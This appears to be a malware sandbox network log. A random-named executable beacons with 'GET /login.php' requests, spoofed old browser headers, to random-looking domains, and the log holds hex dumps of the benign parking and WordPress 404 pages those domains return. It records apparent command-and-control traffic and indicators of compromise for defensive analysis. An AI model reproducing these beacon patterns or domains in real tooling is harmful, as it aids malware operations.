                                                                                                                                                                                                                    2024-11-11 17:48:58 UTC1369INData Raw: 61 72 64 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 6c 79 73 79 76 61 6e 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 32 2f 63 72 6f 70 70 65 64 2d 53 75 6b 73 65 73 2d 46 61 76 69 63 6f 6e 2d 32 37 30 78 32 37 30 2e 70 6e 67 22 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 3d 22 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 76 30 2e 6d 6a 73 22 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 6e 6f 6d
                                                                                                                                                                                                                    Data Ascii: ard"><meta name="msapplication-TileImage" content="https://lysyvan.com/wp-content/uploads/2023/12/cropped-Sukses-Favicon-270x270.png"><script async="" src="https://cdn.ampproject.org/v0.mjs" type="module" crossorigin="anonymous"></script><script async nom


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    10192.168.2.45574475.2.71.1994436644C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: puzylyp.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC352INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                                    Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:59 GMT
                                                                                                                                                                                                                    Etag: "h71uak17cd19wv"
                                                                                                                                                                                                                    Server: Caddy
                                                                                                                                                                                                                    Server: awselb/2.0
                                                                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                                                                    X-Powered-By: Next.js
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                                    Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                                    Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                                    Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                                    Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                                    Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                                    Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                                    Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                                    Data Ascii:
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                                    Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                                    Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    11192.168.2.455746188.114.96.3443
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:59 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC954INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:49:00 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VpSzpDPHR6GvC%2BqCF3mVKQ2fiqj8D%2BxZ2x6MjzswR7651%2BNCaWRleMLraQid45R9h88HLEID4TdPqU%2Bo0cP75mc%2F0poJ3o0ph4N9WJc7xg5ePoSsrP%2BouX4g4Hib8A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101dc81f6e43d0-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1154&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2441821&cwnd=250&unsent_bytes=0&cid=e50e38eb5b8aa326&ts=1438&x=0"
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC415INData Raw: 37 63 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                                    Data Ascii: 7ca4<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61
                                                                                                                                                                                                                    Data Ascii: </style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61
                                                                                                                                                                                                                    Data Ascii: unction c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.ca
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53
                                                                                                                                                                                                                    Data Ascii: fined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JS
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66
                                                                                                                                                                                                                    Data Ascii: }).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minif
                                                                                                                                                                                                                    2024-11-11 17:49:00 UTC1369INData Raw: 2e 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66
                                                                                                                                                                                                                    Data Ascii: .site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;f
